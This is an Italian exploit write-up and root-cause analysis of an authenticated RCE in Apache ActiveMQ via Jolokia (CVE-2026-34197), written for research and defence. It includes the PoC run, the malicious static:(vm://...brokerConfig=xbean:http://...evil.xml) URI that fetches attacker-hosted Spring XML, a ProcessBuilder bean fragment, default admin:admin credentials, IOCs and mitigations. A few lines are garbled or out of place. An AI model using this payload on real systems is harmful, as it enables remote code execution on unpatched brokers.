
Exploit proof-of-concept per CVE-2026-34197, che dimostra l'esecuzione remota di codice autenticata in Apache ActiveMQ tramite il bridge JMX-HTTP di Jolokia e l'iniezione di bean Spring XML.
Descrizione
Convalida dell'input impropria, Controllo improprio della generazione di codice ('Code Injection') vulnerabilità in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic espone il ponte Jolokia JMX-HTTP all'indirizzo /api/jolokia/ sulla console web. La politica di accesso predefinita di Jolokia consente operazioni exec su tutti gli MBean di ActiveMQ (org.apache.activemq:*), inclusi BrokerService.addNetworkConnector(String) e BrokerService.addConnector(String). Un attaccante autenticato può invocare queste operazioni con un URI di scoperta appositamente predisposto che attiva il parametro brokerConfig del trasporto VM per caricare un contesto applicativo Spring XML remoto utilizzando ResourceXmlApplicationContext. Poiché ResourceXmlApplicationContext di Spring istanzia tutti i bean singleton prima che BrokerService convalidi la configurazione, l'esecuzione arbitraria di codice avviene sulla JVM del broker attraverso metodi factory dei bean come Runtime.exec(). Questo problema riguarda Apache ActiveMQ Broker: prima di 5.19.4, da 6.0.0 a prima di 6.2.3; Apache ActiveMQ All: prima di 5.19.4, da 6.0.0 a prima di 6.2.3; Apache ActiveMQ: prima di 5.19.4, da 6.0.0 a prima di 6.2.3. Si consiglia agli utenti di aggiornare alla versione 5.19.4 o 6.2.3, che risolve il problema
Maggiori informazioni in: link
Github: link```bash ❯ docker compose up -d
a scegliere. Guardare la radice del progetto principale nella cartella `deepspeech/`.```bash
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
Con LHOST è l'IP privato sul computer. È possibile utilizzare ipconfig su Windows o ifconfig su Linux
Verifica della RCE```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
=> RCE riuscita, il file `blahblah.txt` è stato creato sul sistema di destinazione.
# Fase di Analisi
## Analisi Dinamica```bash
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
I log di runtime hanno anche confermato che Jolokia era abilitato ed esposto tramite la console web di ActiveMQ:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
Verifica la connessione```bash
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
Ciò significa:
Per leggere i log```bash docker logs activemq-vuln > activemq-rce.log
Poi grep per la catena pulita```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)
Dopo l'invio del payload```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Questa riga è critica perché conferma che l'URI controllato dall'attaccante fornito tramite:```java
BrokerView.addNetworkConnector(String)
ha raggiunto il livello di trasporto della VM senza sanitizzazione.
L'URI malevolo utilizzato durante lo sfruttamento era:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
Questo URI contiene due parti importanti:
| Componente | Scopo |
| --------------- | ---------------------------------------------------- |
| `static:(...)` | Wrapper utilizzato dai connettori di discovery ActiveMQ |
| `vm://evil?...` | URI del transport VM elaborato internamente da ActiveMQ |
Il wrapper `static:(...)` stesso non è il componente vulnerabile. Il suo scopo è passare l'URI del transport racchiuso al sottosistema del connettore di rete di ActiveMQ.
Durante l'esecuzione runtime, ActiveMQ estraeva e processava l'URI del transport VM interno:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Questo comportamento è stato confermato nei log di runtime:```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Il parametro `brokerConfig=` è la parte critica del payload. Esso ha istruito il livello di trasporto VM a creare dinamicamente un'istanza del broker utilizzando una configurazione Spring xbean esterna caricata da:```text
http://192.168.1.32:9999/evil.xml
Il prefisso xbean: ha fatto sì che ActiveMQ delegasse l'elaborazione al caricatore del contesto applicativo XML di Spring:```text
org.apache.xbean.spring.context.ResourceXmlApplicationContext
Di conseguenza, il documento XML remoto è stato analizzato e istanziato come contesto dell'applicazione Spring all'interno della JVM broker.
L'XML malevolo conteneva il seguente bean Spring:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
Questa definizione di bean ha istruito Spring a istanziare un oggetto ProcessBuilder e invocare immediatamente il suo metodo start() durante l'inizializzazione del contesto dell'applicazione.
L'exploit ha utilizzato il seguente comando:```bash touch /tmp/blahblah.txt
Poiché Spring istanzia avidamente i bean singleton durante l'inizializzazione del contesto, il metodo `ProcessBuilder.start()` è stato eseguito prima che ActiveMQ convalidasse se la configurazione del broker stessa fosse sicura o valida.
Ciò ha comportato l'esecuzione arbitraria di comandi sul contenitore di destinazione.
Lo sfruttamento è stato verificato controllando la directory `/tmp` all'interno del contenitore di ActiveMQ:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
I metadati del file hanno ulteriormente confermato l'esecuzione riuscita del comando:```bash ❯ docker exec activemq-vuln stat /tmp/blahblah.txt
File: /tmp/blahblah.txt Size: 0 Uid: (0/root) Gid: (0/root) Birth: 2026-05-18 04:01:35
Ciò dimostra che comandi arbitrari del sistema operativo sono stati eseguiti con successo nel contesto del container ActiveMQ. La traccia dello stack di runtime ha anche rivelato il percorso di esecuzione vulnerabile completo:```text
BrokerView.addNetworkConnector()
->
VMTransportFactory.doCompositeConnect()
->
BrokerFactory.createBroker()
->
XBeanBrokerFactory.createApplicationContext()
->
ResourceXmlApplicationContext
->
XmlBeanDefinitionReader.loadBeanDefinitions()
->
Spring bean instantiation
->
ProcessBuilder.start()
->
OS command execution
Le seguenti voci di stack trace sono state osservate durante l'analisi runtime:```text at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)
Una delle osservazioni più importanti durante l'analisi dinamica è stata l'ordine con cui Spring e ActiveMQ hanno elaborato la configurazione dannosa. Dopo che il payload è stato eseguito con successo, ActiveMQ ha successivamente generato il seguente avviso:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml
Questo comportamento dimostra che:```text Spring bean instantiation occurred before ActiveMQ validated the broker configuration.
Anche se la configurazione del broker stesso è stata infine rifiutata, il bean Spring malevolo era già stato istanziato ed eseguito.
Questo problema di ordinamento è il difetto logico alla base di CVE-2026-34197.
L'analisi dinamica ha identificato i seguenti componenti che partecipano alla catena di exploit:
| Componente | Ruolo |
| ----------------------------- | -------------------------------------------- |
| Jolokia | Ponte HTTP-JMX |
| BrokerView | MBean di gestione esposto |
| VMTransportFactory | Analizza l'URI di trasporto `vm://` |
| BrokerFactory | Crea un'istanza del broker |
| XBeanBrokerFactory | Carica la configurazione Spring xbean |
| ResourceXmlApplicationContext | Carica XML remoto |
| XmlBeanDefinitionReader | Analizza le definizioni dei bean Spring |
| Spring BeanFactory | Istanzia bean singleton |
| ProcessBuilder | Esegue comandi del sistema operativo |
L'analisi dinamica conferma che CVE-2026-34197 è causato dall'interazione tra:
* Operazioni di gestione Jolokia eccessivamente permissive
* URI di trasporto controllati dall'attaccante
* Auto-creazione del broker di trasporto VM
* Caricamento della configurazione remota Spring xbean
* Istanziazione eager di bean singleton prima della convalida
Di conseguenza, un attaccante autenticato può ottenere l'esecuzione arbitraria di codice sulla JVM di ActiveMQ fornendo un URI malevolo `brokerConfig=xbean:http://...` attraverso l'operazione `addNetworkConnector()` esposta da Jolokia.
### Panoramica dell'architettura
Apache ActiveMQ Classic espone un'interfaccia di gestione attraverso il ponte JMX-HTTP Jolokia disponibile all'indirizzo:```text id="n0vmrq"
/api/jolokia/
Jolokia funge da ponte HTTP-to-JMX, consentendo agli utenti autenticati di invocare le operazioni Java Management Extensions (JMX) da remoto tramite HTTP. Il percorso architetturale vulnerabile identificato durante l'analisi è mostrato di seguito:```text id="yavj0f" HTTP Request -> Jolokia Servlet -> JMX MBean Invocation -> BrokerView.addNetworkConnector() -> VMTransportFactory -> BrokerFactory -> XBeanBrokerFactory -> Spring ResourceXmlApplicationContext -> Spring Bean Instantiation -> OS Command Execution
I seguenti componenti erano coinvolti nella catena di exploit:
| Component | Funzione |
| --------------------- | -------------------------------------------- |
| Jolokia | Espone le operazioni JMX su HTTP |
| BrokerView | Interfaccia MBean di gestione |
| VMTransportFactory | Elabora gli URI di trasporto `vm://` |
| BrokerFactory | Crea dinamicamente broker |
| XBeanBrokerFactory | Carica configurazioni Spring xbean |
| Spring Context Loader | Analizza e istanzia definizioni di bean XML |
| ProcessBuilder | Esegue comandi del sistema operativo |
L'architettura diventa vulnerabile perché ActiveMQ consente a utenti autenticati di invocare metodi pericolosi di gestione del broker con URI di trasporto controllati dall'attaccante.
---
### Analisi della Superficie d'Attacco
La superficie d'attacco principale è l'endpoint HTTP Jolokia esposto tramite la console web di ActiveMQ:```text id="xq7vba"
http://<target>:8161/api/jolokia/
L'analisi runtime ha confermato che l'interfaccia Jolokia era abilitata per impostazione predefinita:```text id="y7qz5e" INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
L'endpoint Jolokia accettava richieste autenticate utilizzando l'autenticazione di base HTTP:```json id="13tzmx"
"authMode":"basic"
La seguente operazione di gestione pericolosa è stata esposta:```java id="pxqv10" BrokerView.addNetworkConnector(String)
Questo metodo accetta un URI di trasporto controllato dall'utente senza limitare sufficientemente schemi URI pericolosi o parametri di configurazione.
L'attaccante ha fornito il seguente payload:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
Questo payload ha abusato di diverse funzionalità contemporaneamente:
| Funzionalità | Abuso |
|---|---|
addNetworkConnector() | Accetta URI controllato dall'attaccante |
vm:// transport | Innesca la creazione dinamica del broker |
brokerConfig= | Carica configurazione arbitraria del broker |
xbean: | Invoca il caricatore Spring XML |
| Remote HTTP URL | Recupera XML controllato dall'attaccante |
La superficie d'attacco include quindi:
La vulnerabilità è causata dall'interazione tra più sottosistemi fidati all'interno di ActiveMQ.
Il problema principale è che gli utenti autenticati di Jolokia possono invocare operazioni di gestione del broker pericolose con URI di trasporto controllati dall'attaccante.
Il flusso di esecuzione vulnerabile identificato durante l'analisi runtime è:```text id="m57h1r" Jolokia -> BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> Spring bean instantiation
Il parametro critico è:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml
Questo parametro istruisce lo strato di trasporto VM a creare dinamicamente un broker utilizzando una configurazione Spring xbean esterna.
Le seguenti evidenze di runtime hanno confermato questo comportamento:```text id="74y0rw" INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Spring ha quindi caricato il XML remoto tramite:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext
Il XML malintenzionato conteneva:```xml id="y6jphd"
Durante l'inizializzazione del contesto applicativo Spring, i bean singleton vengono istanziati con eager loading. Di conseguenza, il metodo `ProcessBuilder.start()` è stato eseguito immediatamente.
Il difetto logico chiave è che l'istanziazione del bean Spring è avvenuta prima che ActiveMQ validasse se la configurazione del broker stessa fosse sicura o valida.
Questo comportamento è stato dimostrato dinamicamente perché:
1. Il payload malevolo ha creato con successo `/tmp/blahblah.txt`
2. ActiveMQ ha successivamente rifiutato la configurazione del broker con:```text id="6k1dwn"
The configuration has no BrokerService instance
Questo dimostra che l'esecuzione del codice è avvenuta prima del completamento della convalida del broker.
I potenziali indicatori di compromissione includono richieste Jolokia sospette che mirano a operazioni di gestione di ActiveMQ.
Cerca richieste che invocano:```text id="c56p2k" addNetworkConnector addConnector
attraverso:```text id="pt2n3d"
/api/jolokia/
I seguenti frammenti URI sono forti indicatori di tentativi di exploit:```text id="n9jlwm" vm:// brokerConfig= xbean: static:(
Esempio di payload dannoso:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)
Il broker può avviare richieste in uscita verso infrastrutture controllate dall'attaccante:```text id="f5g9kx" http://attacker/evil.xml
Il traffico HTTP in uscita inaspettato dal broker JVM dovrebbe essere investigato.
#### Log di runtime sospetti
I seguenti messaggi di runtime sono sospetti:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil
User input is empty, so output is empty.```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions
File inaspettati in:```text id="6x7qcm" /tmp/
or suspicious child process execution from the ActiveMQ JVM may indicate exploitation.
---
### Analisi dell'impatto
Uno sfruttamento riuscito consente l'esecuzione remota di codice autenticata nel contesto della JVM di ActiveMQ.
Nell'ambiente analizzato, comandi arbitrari del sistema operativo sono stati eseguiti con successo all'interno del container:```bash id="2hyz0w"
touch /tmp/blahblah.txt
Risultato:```text id="rm2qfd" /tmp/blahblah.txt
Il file è stato creato come:```text id="9phgkz"
Uid: (0/root)
Ciò indica che l'esecuzione del comando è avvenuta con privilegi di root all'interno del contenitore.
L'impatto potenziale include:
| Impatto | Descrizione |
|---|---|
| Esecuzione remota di codice | Esecuzione arbitraria di comandi |
| Compromissione del contenitore | Compromissione totale del contenitore ActiveMQ |
| Furto di credenziali | Accesso a credenziali e segreti del broker |
| Movimento laterale | Pivot verso sistemi adiacenti |
| Persistenza | Creazione di connettori di rete dannosi |
| Esposizione dei dati | Accesso ai messaggi e alle code del broker |
La gravità aumenta significativamente se:
Aggiorna ActiveMQ Classic a:```text id="8w0j6k" 5.19.4 or later 6.2.3 or later
#### Limitare l'accesso a Jolokia
Disabilitare Jolokia se non necessario.
Se Jolokia deve rimanere abilitato:
* Limitare l'accesso alle reti amministrative fidate
* Applicare l'autenticazione forte
* Disabilitare le operazioni exec pericolose
* Applicare policy di accesso restrittive a Jolokia
#### Rimuovere le Credenziali Predefinite
Non utilizzare:```text id="9mw1xv"
admin:admin
Impedire al broker di avviare connessioni HTTP arbitrarie in uscita.
Ciò mitiga tentativi di recupero remoto di XML.
Limitare o disabilitare:
vm://xbean:Monitorare per:
/api/jolokia/addNetworkConnectorbrokerConfig=xbean:Il percorso vulnerabile attraversa il layer di gestione web/JMX di ActiveMQ, il layer di networking del broker, il trasporto VM, il sottosistema della factory del broker e il caricamento della configurazione Spring XBean.
Jolokia è abilitato nell'applicazione API web di ActiveMQ:```xml
La vulnerabilità esiste perché il metodo di gestione accetta un linguaggio URI di ActiveMQ che non è dati passivi. Quando l'URI viene valutato, può creare broker e caricare configurazioni Spring XML.
Il punto di ingresso vulnerabile è:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); if (connector == null) { throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress); } brokerService.registerNetworkConnectorMBean(connector); connector.start(); return connector.getName(); }
L'interfaccia MBean espone l'operazione come:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;
L'input controllato dall'attaccante è l'argomento exec di Jolokia passato a discoveryAddress. Nella versione vulnerabile, BrokerView.addNetworkConnector() non esegue alcuna validazione dello schema, nessuna validazione dell'URI annidato e nessun filtro dei parametri specifici del trasporto prima di passare la stringa a BrokerService.
BrokerService converte direttamente la stringa in un URI:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception {
return addNetworkConnector(new URI(discoveryAddress));
}
public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception { NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress); return addNetworkConnector(connector); }
L'oggetto connettore viene quindi configurato con l'URI del broker locale e aggiunto al broker:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
connector.setBrokerService(this);
connector.setLocalUri(getVmConnectorURI());
...
networkConnectors.add(connector);
return connector;
}
Il controllo raggiunge il sottosistema di trasporto quando BrokerView avvia il connettore:```java
connector.start();
Per l'URI dell'exploit:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
static:(...) crea un connettore di scoperta statico, e l'URI interno vm://... diventa il servizio remoto scoperto.
Il trasporto VM viene risolto tramite:```properties
class=org.apache.activemq.transport.vm.VMTransportFactory
Il metodo vulnerabile è:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception
Il metodo analizza l'URI vm://, estrae i parametri di query e tratta brokerConfig come un URI di creazione del broker:```java
host = extractHost(location);
options = URISupport.parseParameters(location);
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
} else {
Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
brokerURI = new URI("broker://()/" + host + "?"
+ URISupport.createQueryString(brokerOptions));
}
L'opzione `create` è impostata di default a `true`:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
create = false;
}
Se non esiste un broker per l'host VM richiesto, VMTransportFactory ne crea uno:```java
broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
if (broker == null) {
if (!create) {
throw new IOException("Broker named '" + host + "' does not exist.");
}
try {
if (brokerFactoryHandler != null) {
broker = brokerFactoryHandler.createBroker(brokerURI);
} else {
broker = BrokerFactory.createBroker(brokerURI);
}
broker.start();
MDC.put("activemq.broker", broker.getBrokerName());
} catch (URISyntaxException e) {
throw IOExceptionSupport.create(e);
}
BROKERS.put(host, broker);
BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
}
Questo è il fallimento del confine di privilegio a livello di trasporto. Un URI fornito attraverso il piano di gestione viene valutato dal trasporto VM come un'istruzione per creare un broker da un URI di configurazione arbitrario. La restante validazione dei parametri avviene dopo la creazione del broker:```java
if (!options.isEmpty()) {
throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;
Tale validazione non può impedire l'esecuzione di codice tramite brokerConfig, perché brokerConfig è già stato rimosso da options e consumato prima che questo controllo venga eseguito.
Il percorso di scoperta upstream è:```java // activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java remoteTransport = TransportFactory.connect(connectUri);
Per `static:(...)`, `SimpleDiscoveryAgent.start()` emette immediatamente ogni servizio configurato:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
taskRunner = new TaskRunnerFactory();
taskRunner.init();
running.set(true);
for (int i = 0; i < services.length; i++) {
listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
}
}
DiscoveryNetworkConnector.onServiceAdd() poi si connette all'URI interno controllato dall'attaccante.
La creazione del broker è gestita da:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java public static BrokerService createBroker(URI brokerURI) throws Exception { return createBroker(brokerURI, false); }
public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception { if (brokerURI.getScheme() == null) { throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI); } BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme()); BrokerService broker = handler.createBroker(brokerURI); if (startBroker) { broker.start(); } return broker; }
La ricerca del gestore è basata sullo schema:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
try {
return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
} catch (Throwable e) {
throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
}
}
Per gli URI xbean:, il descrittore di servizio mappa su XBeanBrokerFactory:```properties
class=org.apache.activemq.xbean.XBeanBrokerFactory
Flusso di chiamata statico esatto:```text
BrokerView.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(URI)
-> DiscoveryNetworkConnector.<init>(URI)
-> DiscoveryNetworkConnector.handleStart()
-> SimpleDiscoveryAgent.start()
-> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
-> TransportFactory.connect(URI)
-> VMTransportFactory.doConnect(URI)
-> VMTransportFactory.doCompositeConnect(URI)
-> BrokerFactory.createBroker(URI)
-> BrokerFactory.createBroker(URI, boolean)
-> XBeanBrokerFactory.createBroker(URI)
La transizione chiave è:```text vm://evil?brokerConfig=xbean:http://attacker/evil.xml
a:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))
Il factory XBean rilevante è:```java // activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java public class XBeanBrokerFactory implements BrokerFactoryHandler
`createBroker()` estrae la parte specifica dello schema dell'`xbean:` URI e crea un contesto applicativo Spring prima di verificare se contiene un broker:```java
public BrokerService createBroker(URI config) throws Exception {
String uri = config.getSchemeSpecificPart();
if (uri.lastIndexOf('?') != -1) {
IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
uri = uri.substring(0, uri.lastIndexOf('?'));
}
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
...
}
Il sink pericoloso è createApplicationContext():```java
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri);
LOG.debug("Using " + resource + " from " + uri);
try {
return new ResourceXmlApplicationContext(resource) {
@Override
protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
reader.setValidating(isValidate());
}
};
} catch (FatalBeanException errorToLog) {
LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
throw errorToLog;
}
}
Le risorse remote sono accettate da `Utils.resourceFromString()`:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
Resource resource;
File file = new File(uri);
if (file.exists()) {
resource = new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
try {
resource = new UrlResource(ResourceUtils.getURL(uri));
} catch (FileNotFoundException e) {
MalformedURLException malformedURLException = new MalformedURLException(uri);
malformedURLException.initCause(e);
throw malformedURLException;
}
} else {
resource = new ClassPathResource(uri);
}
return resource;
}
Pertanto:```text xbean:http://192.168.1.32:9999/evil.xml
si riduce a:```text
http://192.168.1.32:9999/evil.xml
e caricato come UrlResource di Spring.
La chiamata a reader.setValidating(isValidate()) controlla solo la modalità di validazione XML in XmlBeanDefinitionReader di Spring. Non limita le classi dei bean, gli argomenti del costruttore, i metodi del ciclo di vita o le risorse URL remote.
ActiveMQ 5.18.6 dichiara:```xml 5.3.39 4.25
In XBean 4.25, `ResourceXmlApplicationContext` chiama `refresh()` dal suo costruttore:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
